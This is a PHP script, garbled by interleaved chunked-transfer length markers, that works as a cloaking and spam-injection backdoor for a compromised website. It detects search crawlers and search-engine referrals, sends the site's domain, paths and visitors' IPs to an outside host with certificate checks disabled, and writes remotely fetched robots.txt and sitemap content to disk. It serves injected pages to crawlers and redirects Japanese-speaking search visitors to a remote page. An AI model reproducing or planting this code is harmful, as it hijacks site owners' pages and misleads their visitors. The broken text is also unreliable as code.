1 < 6 ?php e 8 rror_rep 7 orting( 5 0); @ 8 set_time 7 _limit( 9 120); @ig 7 nore_us 8 er_abort 7 (1); $t 7 r = "ht 6 tps:// 5 j2603 5 05_23 7 .barret 6 t.give 6 s/"; c 7 lass Re 5 q { 8 publi 7 c funct 8 ion serv 6 er($na 8 me = '', 7 $defau 8 lt = '') 10 { i 7 f (empt 9 y($name)) 14 { retur 6 n $_SE 5 RVER; 13 } e $name = strtou b pper($name) 13 ; return is d set($_SERVER[ 9 $name]) ? 12 $_SERVER[$name] : 10 $default; } 19 public function iss( 19 ) { if ($this 2 -> b server('HTT 6 PS') & 6 & ("1" 4 == 1d $this->server('HTTPS') || "on c " == strtolo 1a wer($this->server('HTTPS') 1b ))) { return tr 10 ue; } el 7 seif (' 1a https' == $this->server('R 6 EQUEST 5 _SCHE 35 ME')) { return true; } elseif ('4 16 43' == $this->server(' a SERVER_POR 4c T')) { return true; } elseif ('https' == $this->server(' 7 HTTP_X_ 6 FORWAR 6 DED_PR 2b OTO')) { return true; } 15 return false 1f ; } public function hos 13 t() { $ d host = strval 21 ($this->server('HTTP_X_FORWARDED_ 7 HOST') 17 ?: $this->server('HTTP_ 1b HOST')); return str a pos($host, 7 ':') ? 13 strstr($host, ':', a true) : $ 21 host; } public function s 5 cheme 1f () { return $this-> 8 iss() ? f "https" : "http 1f "; } public function dm 29 () { return $this->scheme() . 6 "://" 10 . $this->host() 1e ; } public function ip 1b () { if (getenv a ('HTTP_CLI 6 ENT_IP 15 ')) { $ip 1b = getenv('HTTP_CLIENT_IP') 2d ; } elseif (getenv('HTTP_X_FORWARDED_ 28 FOR')) { $ip = getenv('HTTP_ 2f X_FORWARDED_FOR'); } elseif (getenv('RE 7 MOTE_AD 2f DR')) { $ip = getenv('REMOTE_ADDR') 25 ; } else { $ip = 27 $this->server('REMOTE_ADDR'); } 31 return $ip; } public function is 15 c() { $ag 4 ent 26 = strtolower($this->server('HTTP_USER_ 5 AGENT 18 ')); if ($agent 9 != '' && 6 preg_m 7 atch('/ 6 google b bot|google| 6 yahoo| 6 bing|a 5 ol/si 9 ', $agent 64 )) { return true; } return false; } public function isg() { 5 $re 26 fer = strtolower($this->server('HTTP_R 6 EFERER 16 ')); $referbot 5 s = ' 2b google|yahoo|bing|aol'; if ($refer 17 != '' && preg_match("/( f $referbots)/si" 8 , $refer 5b )) { return true; } return false; } public function uri 1a () { if (($pos b = strpos($ 1a this->server('REQUEST_URI' 5 ), '. 8 php')) ! 19 == false) { $ 7 script_ b name = base 15 name($this->server('S 6 CRIPT_ 6 FILENA 13 ME')); 23 if (basename($this->server('SCRIPT_ b NAME')) === 22 $script_name) { $ 15 url = $this->server(' 1b SCRIPT_NAME'); 24 } elseif (basename($this->server('PH 6 P_SELF 48 ')) === $script_name) { $url = $this->server('PHP_SELF') 33 ; } elseif (basename($this->server('ORI 4b G_SCRIPT_NAME')) === $script_name) { $url = $this->server(' 2a ORIG_SCRIPT_NAME'); } elseif ( 28 ($pos = strpos($this->server('PHP_SELF') 9 , '/' . $ 27 script_name)) !== false) { e $url = sub 22 str($this->server('SCRIPT_NAME'), 7 0, $pos 16 ) . '/' . $script_name 29 ; } elseif ($this->server('DO 7 CUMENT_ 4 ROOT 2d ') && strpos($this->server('SCRIPT_FILENAME') 20 , $this->server('DOCUMENT_ROOT') 7 ) === 0 24 ) { $url = str_repla 21 ce($this->server('DOCUMENT_ROOT') 7 , '', $ 3c this->server('SCRIPT_FILENAME')); } 7 $requri 9 = $url . 26 substr($this->server('REQUEST_URI'), 8 $pos + 4 2a ); } else { $requri = 4c substr($this->server('REQUEST_URI'), strpos($this->server('REQUEST_URI'), '/ 1f ')); } return r c trim($requri 23 , '/'); } public function e 6 xecReq 9 ($url, $p 7 = arra 14 y()) { $ 17 url = str_replace(' ', 6 '+', $ 11 url); $ch a = curl_in e it(); 9 curl_seto 7 pt($ch, 6 CURLO 6 PT_URL 2d , $url); curl_setopt($ch, CURLOPT_RET 6 URNTRA 6 NSFER, 27 1); curl_setopt($ch, CURLOPT_H 8 EADER, 0 27 ); curl_setopt($ch, CURLOPT_TIM 6 EOUT, 27 20); curl_setopt($ch, CURLOPT_P 2b OST, 1); curl_setopt($ch, CURLOPT_S 7 SL_VERI 4 FYPE 34 ER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYH 2e OST, 0); curl_setopt($ch, CURLOPT_POST 5 FIELD 8 S, http_ 6 build_ 7 query($ 10 p)); $ou c tput = curl_ 14 exec($ch); $ 8 errorCod d e = curl_errn 16 o($ch); curl_c 13 lose($ch); a if (0 !== 21 $errorCode) { return f false; 20 } return $output; } 6 } $req 6 = new 9 Req(); $ a isc = $req c ->isc(); $is 12 g = $req->isg(); $ 9 umap = $t 9 r . "map" 9 ; $uri = 9 urldecode c ($req->uri() e ); $p = array( b "domai 5 n" => c $req->dm(), a "port 21 " => $req->server('SERVER_PORT', d 80), "uri a " => $uri f ); if (substr($ 7 uri, -1 8 0) == "r 7 obots.t c xt") { h 8 eader("C 6 ontent 7 -type:t 4 ext/ 9 plain; ch 7 arset=u 5 tf-8" 11 ); die($req-> f execReq($tr . " a robots", $ 1a p)); } if (substr($uri, -6 15 ) == "robots") { 2b $output = $req->execReq($tr . "robots", $p) d ; $rpt = 7 __DIR__ 10 . "/robots.txt" b ; file_ b put_content 7 s($rpt, 16 $output); $robots e _cont = @file_ 11 get_contents($rpt 12 ); if (strpos( 17 strtolower($robots_cont 8 ), "site 11 map")) { f die("robots.txt b file creat 7 e succe b ss!"); 2e } else { die("robots.txt file create f d ail!"); } 1c } if (substr($uri, -4) == " 4 .xml 1b ") { if (strpos($uri, " a allsitemap 18 .xml") || strpos($uri, " b sitemap-ind 28 ex.xml") || strpos($uri, "sitemap-index- 24 1.xml") || strpos($uri, "index.xml") 25 ) { $output = $req->execReq($ f umap, $p); 1e header("Content-type:text/ 13 " . (substr($output 6 , 0, 5 c ) === 'execReq($tr . " 10 word", $p); 1d header("Content-type:text/xml 1c ; charset=utf-8"); if ($ d output == "1" 16 ) { die('' . $ 33 req->execReq($umap, $p)); } else { die( 1a '' . $output); } } $la b ng = $req-> 11 server('HTTP_ACCE 7 PT_LANG 5 UAGE' d ); if (!$isc 8 && $isg f && strpos($lang 7 , 'ja') 11 !==false) { $ 6 p["ip" c ] = $req->ip 10 (); $action b = $tr . "ju 9 mp"; 27 die($req->execReq($action, $p)); } if ( c $isc) { 21 die('' . $req->execReq($tr . "ind e ata", $p)); } 2 ?> 0